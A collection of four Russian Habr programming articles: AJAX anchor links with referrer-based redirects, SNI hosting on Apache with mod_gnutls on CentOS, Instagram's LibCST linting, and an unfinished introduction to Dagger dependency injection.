**Второй** подход – это использовать якоря для генерации ссылок в адресной строке браузера. Данный подход более предпочтительней и более распространен, так как позволяет использовать стандартный подход для добавления в закладки ссылок на страницы, а также при желании позволяет реализовать на AJAX историю навигации по сайту.
При использовании второго подхода ссылки на динамически сгенерированные будут иметь подобный вид: [site.ru/#](http://site.ru/#):news, [site.ru/#](http://site.ru/#):download или [site.ru/#content/blogcategory/4/7](http://site.ru/#content/blogcategory/4/7/)
В дальнейшем, при переходе по такой ссылке (к примеру, с закладок) механизм добывания контента страницы реализуется путем определения на клиенте якоря, и подгрузки соответствующего ему контента. В интернете не очень много статей на эту тему. В рунете вообще практически нет.
Одной из проблем данного подхода является первая «холостая загрузка контента».
Для понимания сути проблемы рассмотрим немного более детально механизм перехода по AJAX ссылкам. Как известно, якоря (#:news, #:download, #content/blogcategory/4/7/) не передаются на сервер. Для загрузки пользователю соответственного ссылке контента мы вынуждены изначально загружать контент корневой страницы (http://site.ru/), потом определить AJAX якорь (#:news), и только теперь имеем возможность догрузить соответствующий якорю контент. Как видно из алгоритма работы, мы имеем первую излишнюю загрузку корневого контента, который по сути нам вообще не нужен. Визуально это сопровождается неприятным миганием страницы. Примеры работы указанной реализации увидеть вот здесь:
<http://maxaman-soft.ru/#content/blogcategory/4/7/>
<http://www.pricelist.uz/ru/goods/catalog/#ru/goods/catalog/category/ofisnaya_tehnika/>
Есть несколько вариантов решения данной проблемы. Один из них основан на временном сокрытии контента и последующим показом его только после дозагрузки соответствующего якорю контента. Данный подход все же имеет недостаток излишней загрузки контента. К сожалению, примеров такой реализации я не нашел.
Второй подход, который мне известен, это реализация первой страницы пустышки – и загрузка контента только после определения AJAX якоря. Примеры реализации можно увидать вот здесь:
<http://www.datamash.us/#:chips:goto:gs12>
<http://fullajax.ru/examples/index.html#:[addscript]>
Данный подход имеет недостаток индексации сайта поисковиками, они видят корневую страницу пустышку. Хотя здесь я оперирую общими алгоритмами, вполне возможно, что профессионалы в области поиска или оптимизации могут подробнее раскрыть тему индексации такого контента.
Кстати, здесь и кроется, на мое мнение, вторая проблема AJAX – все же он более подходит для реализации именно приложений, а контент и навигация в открытом доступе – это немного неправильно. В приложениях проблемы ссылок вообще не возникает (представить себе ссылку на свое открытое письмо в GMail-е я не могу, и такой надобности тем более), а вот разработчики обычных «контентных» сайтов часто слишком углубляются в красивости, не исследуя юзабилити своих проектов.
Вашему вниманию предлагается третий вариант решения проблемы «холостой загрузки контента». Ниже рассматриваемый подход называется **fullajax direct link**. Разработчиком этой технологии является Руслан Синицкий, который и выступает главным соавтором этого материала. Способ оригинален в своей реализации и призван существенно упростить или даже полностью решить все перечисленные выше проблемы.
Проблема решается написанием маленького javascript-а, который сможет сделать пару нехитрых операций. Суть алгоритма заключается в следующем.
При переходе пользователем по AJAX ссылке [site.ru/#](http://site.ru/#):news, изначально он попадает в корень нашего сайта [site.ru](http://site.ru/). В первую очередь загружается наш маленький javascript, который определяет наличие реферера. Если реферер отсутсвует (пользователь ввел адрес в новое окно) или реферер с внешнего сайта (пользователь попал на наш сайт кликнув по ссылке на другом сайте), тогда мы сразу определяем AJAX якорь (#:news) и определяем соответственную ему страницу (к примеру, /content/news). Далее тут же делаем редирект на страницу /content/news, и, как только начали загружать данную страницу, в самом начале делаем обратный редирект на [site.ru](http://site.ru/):#news. Мы попадаем опять в корень сайта, но уже имеем внутренний реферер. В этот момент включается серверный алгоритм, который при совпадении условий – запрос корня сайта и наличие внутреннего реферера – загружает вместо контента коренной страницы контент страницы, которая указана в реферере. Схема алгоритма представлена на рисунке ниже:
Все редиректы делаются с помощью javascript-а, что позволяет при его отключении работать с сайтом как обычно.
Все было бы замечательно, если бы не некоторые особенности работы браузера InternetExplorer. Он напрочь отказывается сохранять реферер при редиректе с помощью JS! Но нашелся интересный выход из этой ситуации. Вашему вниманию представляется вариант решения данной проблемы (ведь сохранение реферера может пригодится и в других случаях). Оказывается, IE позволяет программно кликать по ссылкам! При этом браузер нормально редиректится и сохраняет реферер. В добавок, проблема с реферером есть и у Оперы. Правда при JS-редиректе реферер Опера сохраняет, но если после редиректа нажать обновить, Опера теряет реферер. Благо, Опера также позволяет программно кликать на ссылках.
И так привожу пример рабочего клиентского скрипта который реально используется на сайте разработчика данного подхода (http://fullajax.ru):
> ````
>
> // Таблица или функция соответствия «AJAX якорей» реальным ссылкам *****
> var links = {
> '/content/view/36' : 'main',
> '/content/blogcategory/27/74' : 'news',
> '/content/view/43/75' : 'technology',
> '/content/view/41/76' : 'portfolio',
> '/content/view/38/79' : 'connection',
> '/content/view/42/80' : 'license',
> '/content/view/45/83' : 'contacts',
> '/content/view/39/77' : 'developers',
> '/content/view/40/78' : 'links',
> '/content/view/65/84' : 'download'
> }
> //проверка запроса не коренной страницы
> if (location.pathname && location.pathname != '/') {
> var l;
> for (var i in links){
> if (location.pathname.substring(0,i.length)==i) {
> l = links[i] + location.pathname.replace(i,'');
> break;
> }
> }
> l = '/'+(l?'#:'+l:''); //преобразование в AJAX ссылку с якорем
> // конец функции соответсвия ****
> var ua = navigator.userAgent.toLowerCase();
> //реализация редиректа с сохранением реферера для ИЕ и Оперы
> if (ua.indexOf('opera') > -1 || ua.indexOf('msie') > -1) {
> //для ИЕ нужно чтобы ссылка была внутри документа
> if (ua.indexOf('msie') > -1) {
> document.write('')
> document.getElementById('redirect').click();
> } else {
> //для Оперы можно просто создать обьект-ссылку и кликнуть по ней
> var a = document.createElement('a');
> a.setAttribute('href', l);
> a.click();
> }
> } else {
> //редирект для нормальных браузеров
> location.replace(l);
> }
> } else {
> //запрос коренной страницы
> // определяем реферер, и если он есть определяем внутрений он или нет
> var ref = document.referrer;
> if (!ref || ref.indexOf(location.hostname) == -1 || (ref.substring(ref.length-'fullajax.ru/'.length,ref.length)=='fullajax.ru/')){
> var ind = location.href.indexOf('#:');
> if (ind != -1){
> //определяем AJAX якорь-ссылку
> var l = location.href.substring(ind+2);
> for (var i in links){
> //определяем соответсвующую AJAX якорю реальную ссылку и редиректим на нее
> if (l.substring(0,links[i].length)==links[i]) location.replace(i+l.replace(links[i],''));
> }
> }
> }
> }
>
>
> ````
>
>
Вот такие вот пироги :). К данному клиентскому скрипту прилагается серверный скрипт, который при наличии внутреннего реферера грузит вместо главной страницы, страницу которая указана в реферере. Привожу написанный на PHP рабочий пример реализации мамбота для CMS Joomla:
> ````
>
> php
> /*
> * fullajax systembot
> * (c) 2008 boston & si-rus
> * В рамках проекта Fullajax для Joomla!
> * http://www.fullajax.ru | http://www.joostina.ru
> **/
> defined( '_VALID_MOS' ) or die( 'Прямой вызов файла запрещён.' );
>
> $_MAMBOTS-registerFunction( 'onStart', 'fullajaxStart' );
>
>
> function fullajaxStart(){
> global $mosConfig_live_site,$mosConfig_absolute_path,$mosConfig_sef;
> if(isset($_SERVER['HTTP_REFERER'])){
> $_lo = strpos($_SERVER['HTTP_REFERER'],$mosConfig_live_site);
> if($_lo===false){ // реферер внешний - делаем всё как обычно
> null;
> }else{
> //echo 'внутренний
> ';
> $_ref = str_replace(array('http://','www.'),'',$_SERVER['HTTP_REFERER'] ); // реферер
> //echo '
> ';
> $_url = str_replace(array('http://','www.'),'',$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] ); // текущий урл - адрес
> //echo '
> ';
> $_root = str_replace(array('http://','www.'),'',$mosConfig_live_site ).'/'; // урл корня сайта
>
> if($_url==$_root and $_url!=$_ref) { // запрос корня с внутренним реферером
> // грузим реферер
> require($mosConfig_absolute_path.'/templates/index/unsef.php');
> }else{
> null;
> }
> }
> }
> }
>
> ?>
>
>
> ````
>
>
Ну вот в принципе и все.
Данный алгоритм также имеет недостаток (таков закон сохранения энергии) – в итоге на 2 коннекта больше к серверу (2 редиректа), но это может быть мизерно малой долей по отношению к «холостой загрузки контента».
Преимущество рассмотренного подхода – сохраняется индексируемость главной страницы как у обычного сайта, нет загрузки ненужного контента («холостой запрос»), нет мигания страницы. Необходимость внедрения рассмотренного алгоритма зависит от конкретной ситуации. Возможно вам это пригодится. Пользуйтесь на здоровье!
Работу алгоритма в реальности можно увидеть на сайте <http://fullajax.ru>.
**P.S.** Автор материала: **Руслан Синицкий** (sirus, <http://fullajax.ru>), редактирование и соавторство – **Александр Лозовюк** (aleks\_raiden, <http://abrdev.com>). | https://habr.com/ru/post/23159/ | null | ru | null |
# Apache HTTP Server: Обслуживание нескольких HTTPS-хостов на одном IP-адресе
При миграции сервера в облако возникла необходимость разместить несколько веб-сайтов, работающих по HTTPS на одном физическом IP-адресе.
При этом нужно было остаться на той же операционной системе CentOS 5.6 и штатном apache-2.2.19.
Готового решения для CentOS не нашел, поэтому предлагаю свой вариант решения.
#### Теория
Согласно [RFC 4366](http://www.ietf.org/rfc/rfc4366.txt), раздел **3.1. Server Name Indication** это возможно.
Для полноценной работы это расширение должен поддерживать и сервер и клиент (браузер).
#### Практика
Поддержка расширения SNI согласно [Wikipedia](http://en.wikipedia.org/wiki/Server_Name_Indication) появилась в Apache HTTP Server начиная с версии 2.2.12.
Подробности есть в [Apache Wiki](http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI).
Для работы расширения нужна библиотека OpenSSL версии 0.9.8f или выше.
Проблема в том, что в CentOS 5.6 встроен OpenSSL версии 0.9.8e, и «поднять» ему версию не так то просто, т.к. именно на эту версию завязано много других компонент.
Собирать отдельный OpenSSL и Apache вне дерева пакетов — неспортивно.
В процессе поиска решения наткнулся на альтернативу: библиотеку **gnutls** и модуль **mod\_gnutls**.
Библиотека gnutls в системе тоже присутствует и тоже очень старая, правда достаточно безболезненно удаляется вместе с зависимостями.
В результате были собраны и установлены «свежие» пакеты **gnutls** и **mod\_gnutls**, которые дали нужный функционал с минимальным влиянием на остальную систему. Под катом подробности по процессу сборки и примеры файлов конфигурации.
#### Сборка пакетов
Для сборки понадобятся \*-devel пакеты из штатных репозитариев, список нужных пакетов приводить не буду.
1. Из комплекта Fedora Core 15 ([Fedora Mirror List](http://mirrors.fedoraproject.org/publiclist/Fedora/15/x86_64/)) взял пакеты:
[libtasn1-2.7-2.fc15.src.rpm](http://fedora.inode.at/fedora/linux/releases/15/Fedora/source/SRPMS/libtasn1-2.7-2.fc15.src.rpm)
[gnutls-2.10.5-1.fc15.src.rpm](http://fedora.inode.at/fedora/linux/releases/15/Fedora/source/SRPMS/gnutls-2.10.5-1.fc15.src.rpm)
2. С домашней страницы проекта ([mod\_gnutls](http://www.outoforder.cc/projects/apache/mod_gnutls/)) взял актуальную версию исходных кодов модуля.
3. Установил пакеты исходных кодов (ключ --nomd5 нужен, если cpio ругается на несовпадение md5, т.к. srpm собран в более новой версии)
*rpm -ivh --nomd5 libtasn1-2.7-2.fc15.src.rpm*
*rpm -ivh --nomd5 gnutls-2.10.5-1.fc15.src.rpm*
4. Архив исходных кодов (mod\_gnutls-0.5.9.tar.bz2) cкопировал в /usr/src/redhat/SOURCES.
5. В /usr/src/redhat/SPECS создал файл **mod\_gnutls.spec**. За основу взят mod\_gnutls.spec из <http://dev.centos.org/centos/5/testing/SRPMS/mod_gnutls-0.2.0-1.el5.centos.src.rpm>.
Содержимое файла в конце поста ([mod\_gnutls.spec](#spec)).
6. Удалил старые пакеты вместе с зависимостями:
*yum erase gnutls libtasn1*
7. Собрал **libtasn1**:
*rpmbuild -bb --clean /usr/src/redhat/SPECS/libtasn1.spec*
8. Установил пакеты **libtasn1**:
*yum localinstall --nogpgcheck /usr/src/redhat/RPMS/x86\_64/libtasn1-\*.rpm*
9. Собрал **gnutls**:
*rpmbuild -bb --clean /usr/src/redhat/SPECS/gnutls.spec*
10. Установил пакеты **gnutls**:
*yum localinstall --nogpgcheck /usr/src/redhat/RPMS/x86\_64/gnutls-\*.rpm*
11. Из файла **/usr/lib64/pkgconfig/gnutls.pc** из строки **Requires.private** удалил **zlib**, т.к. установленный zlib-devel не содержит определения для pkg-config.
12. Собрал **mod\_gnutls**:
*rpmbuild -bb --clean /usr/src/redhat/SPECS/mod\_gnutls.spec*
13. Установил пакеты **mod\_gnutls**:
*yum localinstall --nogpgcheck /usr/src/redhat/RPMS/x86\_64/mod\_gnutls-\*.rpm*
#### Конфигурирование плагина
Модулю нужен доступ к файлу, в котором ведется его собственный кеш, путь к файлу задается ключем **GnuTLSCache** в файле конфигурации.
Если включен **selinux**, нужно выполнить настройку политики:
*semanage fcontext -a -f "" -t httpd\_cache\_t "/var/cache/mod\_gnutls\_cache(/.\*)?"*
Необходимо создать каталог для файла кеша и назначить ему права:
*mkdir /var/cache/mod\_gnutls\_cache*
*chown apache:apache /var/cache/mod\_gnutls\_cache*
*chmod 700 /var/cache/mod\_gnutls\_cache*
Файл конфигурации по умолчанию лежит в /etc/httpd/conf.d/mod\_gnutls.conf.
##### Пример файла конфигурации модуля **mod\_gnutls.conf**
```
## Documentation Link:
## http://www.outoforder.cc/projects/apache/mod_gnutls/docs/
## Load the module into Apache.
LoadModule gnutls_module modules/libmod_gnutls.so
## Set Certificate MIME-types, may instead be in ssl.conf
AddType application/x-x509-ca-cert .crt
AddType application/x-pkcs7-crl .crl
## Set TLS Cache info
GnuTLSCache dbm "/var/cache/mod_gnutls_cache/server1_test_net.dbm"
GnuTLSCacheTimeout 300
##
```
#### Конфигурирование виртуальных хостов
При конфигурировании нужно учесть несколько моментов:
* Желательно полностью отключить **mod\_ssl**.
* Каждый VirtualHost должен быть или полностью HTTP или полностью HTTPS, при «смешанном» варианте по протоколу HTTP все равно приходят SSL-шифрованные данные.
* Виртуальный HTTPS-хост «по-умолчанию» обязательно должен иметь сертификат и ключ, т.к. первоначальное соединение происходит именно с ним.
##### Пример конфигурации VirtualHost
```
Listen 80
Listen 443
NameVirtualHost *:80
NameVirtualHost *:443
ServerName defsrv.home.net
# По умолчанию все запросы перенаправляются на основной сайт (http://www.home.net)
Redirect permanent / http://www.home.net/
# SSL-сертификат у дефолтного сервера должен присутсвовать обязательно!
GnuTLSEnable on
GnuTLSPriorities NORMAL
GnuTLSCertificateFile /etc/httpd/certs/defsrv\_home\_net.crt
GnuTLSKeyFile /etc/httpd/certs/defsrv\_home\_net.key
Redirect permanent / https://www.home.net/
ServerName www.home.net:80
UseCanonicalName On
ServerAdmin webmaster@www.home.net
DocumentRoot /srv/www.home.net
#Конфигурация хоста
ServerName www.home.net:443
UseCanonicalName On
ServerAdmin webmaster@www.home.net
DocumentRoot /srv/www.home.net
GnuTLSEnable on
GnuTLSPriorities NORMAL
GnuTLSCertificateFile /etc/httpd/certs/www\_home\_net.crt
GnuTLSKeyFile /etc/httpd/certs/www\_home\_net.key
#Конфигурация хоста
ServerName test.home.net:80
UseCanonicalName On
ServerAdmin webmaster@test.home.net
DocumentRoot /srv/test.home.net
#Конфигурация хоста
ServerName test.home.net:443
UseCanonicalName On
ServerAdmin webmaster@test.home.net
DocumentRoot /srv/test.home.net
GnuTLSEnable on
GnuTLSPriorities NORMAL
GnuTLSCertificateFile /etc/httpd/certs/test\_home\_net.crt
GnuTLSKeyFile /etc/httpd/certs/test\_home\_net.key
#Конфигурация хоста
```
###### Спек-файл (**mod\_gnutls.spec**)
```
Summary: mod_gnutls is a DSO module for the apache Web server.
Name: mod_gnutls
Version: 0.5.9
Release: 1%{?dist}
Group: System Environment/Daemons
URL: http://www.outoforder.cc/projects/apache/mod_gnutls/
Source: http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1: mod_gnutls.conf
License: Apache Software License
BuildRoot: %{_tmppath}/%{name}-root
BuildRequires: httpd-devel > 2.0.42
BuildRequires: gnutls >= 1.2.0, gnutls-devel >= 1.2.0, gnutls-utils >= 1.2.0, apr-devel
Requires: httpd-mmn = %(cat %{_includedir}/httpd/.mmn || echo missing httpd-devel)
Requires: gnutls >= 1.2.0, httpd >= 2.0.42
%description
mod_gnutls uses the GnuTLS library to provide SSL v3, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD. It is similar to mod_ssl in purpose, but does
not use OpenSSL.
%prep
%setup -q
%build
%configure --disable-srp
make
%install
[ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
mkdir -p $RPM_BUILD_ROOT%{_libdir}/httpd/modules
install -m755 src/.libs/lib%{name}.so $RPM_BUILD_ROOT%{_libdir}/httpd/modules
# Install the config file
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d
install -m 644 %{SOURCE1} \
$RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf.d/
mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/httpd/conf
#Create a cache directory
mkdir -p -m 0700 $RPM_BUILD_ROOT%{_var}/cache/mod_gnutls_cache
%clean
[ "$RPM_BUILD_ROOT" != "/" ] && rm -rf $RPM_BUILD_ROOT
%files
%defattr(-,root,root)
%doc LICENSE NOTICE README
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/*.conf
%attr(0700, apache, apache) %{_var}/cache/mod_gnutls_cache
``` | https://habr.com/ru/post/124864/ | null | ru | null |
# Статический анализ больших объёмов Python-кода: опыт Instagram. Часть 1
Серверный код в Instagram пишут исключительно на Python. Ну, в основном это именно так. Мы используем немного Cython, а в состав зависимостей входит немало C++-кода, с которым можно работать из Python как с C-расширениями.
[](https://habr.com/ru/company/ruvds/blog/473766/)
Наше серверное приложение — это монолит, представляющий собой одну большую кодовую базу, состоящую из нескольких миллионов строк и включающую в себя несколько тысяч конечных точек Django ([вот](https://www.youtube.com/watch?v=lx5WQjXLlq8) выступление, посвящённое использованию Django в Instagram). Всё это загружается и обслуживается как единая сущность. Из монолита выделено несколько сервисов, но в наши планы не входит сильное разделение монолита.
Наша серверная система — это монолит, который очень часто меняется. Каждый день сотни программистов делают сотни коммитов в код. Мы непрерывно разворачиваем эти изменения, делая это каждые семь минут. В результате развёртывание проекта в продакшне выполняется около ста раз за сутки. Мы стремимся к тому, чтобы между попаданием коммита в ветку master и развёртыванием соответствующего кода в продакшне проходило бы менее часа ([вот](https://www.youtube.com/watch?v=2mevf60qm60) выступление об этом, сделанное на PyCon 2019).
Очень сложно поддерживать эту огромную монолитную кодовую базу, делая в неё ежедневно сотни коммитов, и при этом не довести её до состояния полного хаоса. Мы хотим сделать Instagram местом, работая в котором, программисты могут быть продуктивными и способными быстро готовить к выходу новые полезные возможности системы.
Этот материал посвящён тому, как мы пользуемся линтингом и автоматическим рефакторингом для того чтобы облегчить управление кодовой базой, написанной на Python.
Если вам интересно будет опробовать некоторые идеи, упомянутые в этом материале, то знайте, что недавно мы перевели в разряд опенсорсных проект [LibCST](https://github.com/Instagram/LibCST), который лежит в основе многих наших внутренних инструментов, предназначенных для линтинга и автоматического рефакторинга кода.
→ [Вторая часть](https://habr.com/ru/company/ruvds/blog/473770/)
Linting: документация, которая появляется там, где она нужна
------------------------------------------------------------
Линтинг помогает программистам находить и диагностировать проблемы и антипаттерны, о которых сами разработчики могут и не знать, не замечая их в коде. Для нас это важно из-за того, что соответствующие идеи, касающиеся устройства кода, тем сложнее распространять, чем больше программистов трудится над проектом. В нашем случае речь идёт о сотнях специалистов.
*Разновидности линтинга*
Линтинг — это всего лишь одна из многих разновидностей статического анализа кода, которые мы используем в Instagram.
Самый примитивный способ реализации правил линтинга — это использование регулярных выражений. Регулярные выражения писать несложно, но Python — это [не «регулярный» язык](https://stackoverflow.com/a/1732454). В результате очень сложно (а иногда и невозможно) надёжно искать паттерны в Python-коде с помощью регулярных выражений.
Если говорить о самых сложных и продвинутых способах реализации линтеров, то тут находятся инструменты вроде [mypy](http://www.mypy-lang.org/) и [Pyre](https://pyre-check.org/). Это — две системы для статической проверки типов Python-кода, которые могут выполнять глубокий анализ программ. В Instagram используется Pyre. Это — мощные инструменты, но их тяжело расширять и настраивать.
Когда мы говорим о линтинге в Instagram, мы обычно имеем в виду работу с простыми правилами, основанными на абстрактном синтаксическом дереве. Именно нечто подобное лежит в основе написания наших собственных правил линтинга для серверного кода.
Когда Python выполняет модуль, он начинает работу с запуска парсера и с передачи ему исходного кода. Благодаря этому создаётся дерево разбора — разновидность конкретного синтаксического дерева (concrete syntax tree, CST). Это дерево представляет собой свободное от потерь представление входного исходного кода. В этом дереве сохранена каждая деталь вроде комментариев, скобок и запятых. На основе CST можно полностью восстановить изначальный код.
*Дерево разбора Python (разновидность CST), сгенерированное [lib2to3](https://docs.python.org/3/library/2to3.html)*
К сожалению, подобный подход приводит к созданию сложного дерева, что затрудняет извлечение из него интересующих нас семантических сведений.
Python компилирует дерево разбора в абстрактное синтаксическое дерево (abstract syntax tree, AST). Некоторые сведения об исходном коде при таком преобразовании теряются. Речь идёт о «дополнительной синтаксической информации» — вроде комментариев, скобок, запятых. Однако семантика кода в AST сохраняется.
*Абстрактное синтаксическое дерево Python, сгенерированное модулем [ast](https://docs.python.org/3/library/ast.html)*
Мы разработали [LibCST](https://github.com/Instagram/LibCST) — библиотеку, которая даёт нам лучшее из миров CST и AST. Она даёт представление кода, в котором сохраняется вся информация о нём (как в CST), но из такого представления кода легко извлекать семантические сведения о нём (как при работе с AST).
*Представление конкретного синтаксического дерева LibCST*
Наши правила линтинга используют [синтаксическое дерево LibCST](https://libcst.readthedocs.io/en/latest/why_libcst.html#libcst) для нахождения паттернов в коде. Это синтаксическое дерево, на высоком уровне, легко исследовать, оно позволяет избавиться от проблем, которые сопутствуют работе с «нерегулярным» языком.
Предположим, что в некоем модуле имеется циклическая зависимость из-за импорта типа. Python позволяет решить эту проблему, поместив команды импорта типов в блок `if TYPE_CHECKING`. Это — защита от импорта чего-либо во время выполнения программы.
```
# команды импорта значений
from typing import TYPE_CHECKING
from util import helper_fn
# команды импорта типов
if TYPE_CHECKING:
from circular_dependency import CircularType
```
Позже кто-то добавил в код ещё один импорт типа и ещё один защитный блок `if`. Однако тот, кто это сделал, мог не знать о том, что такой механизм в модуле уже есть.
```
# команды импорта значений
from typing import TYPE_CHECKING
from util import helper_fn
# команды импорта типов
if TYPE_CHECKING:
from circular_dependency import CircularType
if TYPE_CHECKING: # Дублирование защитного механизма!
from other_package import OtherType
```
От этой избыточности можно избавиться с помощью правила линтера!
Начнём с инициализации счётчика «защитных» блоков, найденных в коде.
```
class OnlyOneTypeCheckingIfBlockLintRule(CstLintRule):
def __init__(self, context: Context) -> None:
super().__init__(context)
self.__type_checking_blocks = 0
```
Затем, встречая соответствующее условие, мы инкрементируем счётчик, и проверяем, чтобы в коде было бы не более одного подобного блока. Если это условие не соблюдается — мы генерируем предупреждение в соответствующем месте кода, вызывая вспомогательный механизм, используемый для формирования подобных предупреждений.
```
def visit_If(self, node: cst.If) -> None:
if node.test.value == "TYPE_CHECKING":
self.__type_checking_blocks += 1
if self.__type_checking_blocks > 1:
self.context.report(
node,
"More than one 'if TYPE_CHECKING' section!"
)
```
Подобные правила линтинга работают, просматривая дерево LibCST и собирая информацию. В нашем линтере это реализовано с помощью паттерна «[посетитель](https://libcst.readthedocs.io/en/latest/visitors.html)» (Visitor). Как вы могли заметить, правила переопределяют методы `visit` и оставляют методы, связанные с типом узла. Эти «посетители» вызываются в определённом порядке.
```
class MyNewLintRule(CstLintRule):
def visit_Assign(self, node):
... # вызывается первым
def visit_Name(self, node):
... # вызывается для каждого потомка
def leave_Assign(self, name):
... # вызывается после обработки всех потомков
```
*Методы visit вызываются до посещения потомков узлов. Методы leave вызываются после посещения всех потомков*
Мы придерживаемся принципов работы, в соответствии с которыми в первую очередь решаются простые задачи. Наше первое собственное правило линтера было реализовано в одном файле, содержало одного «посетителя» и использовало разделяемое состояние.
*Один файл, один «посетитель», использование разделяемого состояния*
Класс `Single Visitor` должен иметь сведения о состоянии и о логике всех наших правил линтинга, не связанных с ним. При этом не всегда очевидно то, какое состояние соотносится с конкретным правилом. Такой подход хорошо показывает себя в ситуации, когда имеется буквально несколько собственных правил линтинга, но у нас таких правил около сотни, что крайне осложнило поддержку паттерна `single-visitor`.
*Сложно узнать о том, какое состояние и логика связаны с каждой из проводимых проверок*
Конечно, в качестве одного из возможных решений этой проблемы можно было бы рассмотреть определение нескольких «посетителей» и организацию такой схемы работы, чтобы каждый из них каждый раз просматривал бы всё дерево. Однако это привело бы к серьёзному падению производительности, а линтер — это программа, которая должна работать быстро.
*Каждое правило линтера может повторно обходить дерево. При обработке файла правила выполняются последовательно. Однако такой подход, при котором часто выполняется обход дерева, привёл бы к серьёзному падению производительности*
Вместо того чтобы реализовать у себя нечто подобное, мы вдохновились линтерами, используемыми в экосистемах других языков программирования — вроде [ESLint](https://eslint.org/) из JavaScript, и создали централизованный реестр «посетителей» (Visitor Registry).
*Централизованный реестр «посетителей». Мы можем эффективно определить то, какой узел интересует каждое правило линтера, экономя время на узлах, которые его не интересуют*
Когда правило линтера инициализируют, все переопределения методов правила хранятся в реестре. Когда мы обходим дерево, мы смотрим на всех зарегистрированных «посетителей» и вызываем их. Если метод не реализован — это значит, что вызывать его не нужно.
Это снижает потребление системой вычислительных ресурсов при добавлении в неё новых правил линтинга. Обычно мы проверяем линтером небольшое количество недавно изменённых файлов. Но мы можем выполнить проверку всех правил на всей серверной кодовой базе Instagram в параллельном режиме всего за 26 секунд.
После того, как мы решили вопросы производительности, мы создали фреймворк для тестирования, который был нацелен на соблюдение передовых методик программирования, требуя наличия тестов и в ситуациях, в которых нечто должно обладать неким качеством, и в ситуациях, в которых нечто неким качеством обладать не должно.
```
class MyCustomLintRuleTest(CstLintRuleTest):
RULE = MyCustomLintRule
VALID = [
Valid("good_function('this should not generate a report')"),
Valid("foo.bad_function('nor should this')"),
]
INVALID = [
Invalid("bad_function('but this should')", "IG00"),
]
```
Продолжение → [вторая часть](https://habr.com/ru/company/ruvds/blog/473770/)
**Уважаемые читатели!** Пользуетесь ли вы линтерами?
[](https://ruvds.com/vps_start/)
[](https://ruvds.com/ru-rub/#order) | https://habr.com/ru/post/473766/ | null | ru | null |
# Знакомимся с Dependency Injection на примере Dagger
В данной статье мы попытаемся разобраться с Dependency Injection в Android (и не только) на примере набирающей популярность open source библиотеки [Dagger](http://square.github.io/dagger/)
И так, что же такое Dependency Injection? Согласно википедии, это design pattern, позволяющий динамически описывать зависимости в коде, разделяя бизнес-логику на более мелкие блоки. Это удобно в первую очередь тем, что впоследствии можно эти самые блоки подменять тестовыми, тем самым ограничивая зону тестирования.
Несмотря на замудреное определение, принцип довольно прост и тривиален. Я уверен, что большинство из программистов так или иначе реализовывали этот pattern, даже порой об этом не догадываясь.
Рассмотрим упрощенную (до псевдокода) версию Twitter клиента.
В теории, диаграмма зависимостей выглядит примерно так:
Давайте взглянем как это выглядит в коде:
```
public class Tweeter
{
public void tweet(String tweet)
{
TwitterApi api = new TwitterApi();
api.postTweet("Test User", tweet);
}
}
public class TwitterApi
{
public void postTweet(String user, String tweet)
{
HttpClient client = new OkHttpClient();
HttpUrlConnection connection = client.open("....");
/* post tweet */
}
}
```
Как видим, набор интерфейсов довольно прост, поэтому использовать мы это будем примерно так:
```
Tweeter tweeter = new Tweeter();
tweeter.tweet("Hello world!");
```
Пока все идет хорошо, твиты улетают — все счастливы. Теперь возникает необходимость все это протестировать. Сразу же замечаем, что неплохо было бы иметь возможность подменять Http клиент на тестовый, чтобы возвращать какой-нибудь тестовый результат и не ломиться в сеть каждый раз. В этом случае, нам надо снять с класса TwitterApi обязанность создавать Http клиент и сгрузить эту обязанность вышестоящим классам. Наш код немного преображается:
```
public class Tweeter
{
private TwitterApi api;
public Tweeter(HttpClient httpClient)
{
this.api = new TwitterApi(httpClient);
}
public void tweet(String tweet)
{
api.postTweet("Test User", tweet);
}
}
public class TwitterApi
{
private HttpClient client;
public TwitterApi(HttpClient client)
{
this.client = client;
}
public void postTweet(String user, String tweet)
{
HttpUrlConnection connection = client.open("....");
/* post tweet */
}
}
```
Теперь мы видим, что при необходимости простестировать наш код, мы можем легко «подставить» тестовый Http клиент, который будет возвращать тестовые результаты:
```
Tweeter tweeter = new Tweeter(new MockHttpClient);
tweeter.tweet("Hello world!");
```
Казалось бы, что может быть проще? На самом деле, сейчас мы «вручную» реализовали Dependency Injection паттерн. Но есть одно «но». Представим ситуацию, что у нас есть класс Timeline, который умеет загружать последние n сообщений. Этот класс тоже использует TwitterApi:
```
Timeline timeline = new Timeline(new OkHttpClient(), "Test User");
timeline.loadMore(20);
for(Tweet tweet: timeline.get())
{
System.out.println(tweet);
}
```
Наш класс выглядит примерно так:
```
public class Timeline
{
String user;
TweeterApi api;
public Timeline(HttpClient httpClient, String user)
{
this.user = user;
this.api = new TweeterApi(httpClient);
}
public void loadMore(int n){/*.....*/}
public List get(){/\*.......\*/}
}
```
Вроде бы все ничего — мы применили тот же подход, что и с классом Tweeter — дали возможность указывать Http клиент при создании объекта, что позволяет нам протестировать этот модуль, не завися при этом от сети. Но! Вы заметили, сколько кода мы продублировали и как нам приходится «протаскивать» Http клиент прямо из «головы» приложения? Конечно, можно добавить конструкторы по умолчанию, которые будут создавать реальный Http клиент, и использовать кастомный конструктор только при тестировании, но ведь это не решает проблему, а только маскирует ее.
Давайте рассмотрим как мы можем улучшить сложившуюся ситуацию.
#### Dagger
Dagger — это open source Dependency Injection библиотека от разработчиков okhttp, retrofit, picasso и многих других замечательных библиотек, известных многим Android разработчикам.
Главные преимущества Dagger (по сравнению с тем же Guice):
* Статический анализ всех зависимостей
* Определение ошибок конфигурации на этапе компиляции (не только в runtime)
* Отсутствие reflection, что значительно ускоряет процесс конфигурации
* Довольно небольшая нагрузка на память
В Dagger процесс конфигурации зависимостей разбит на 3 больших блока:
* инициализация графа завизимостей (ObjectGraph)
* запрос зависимостей (`@Inject`)
* удовлетворение зависимостей (`@Module`/`@Provides`)
##### Запрос зависимостей (request dependency)
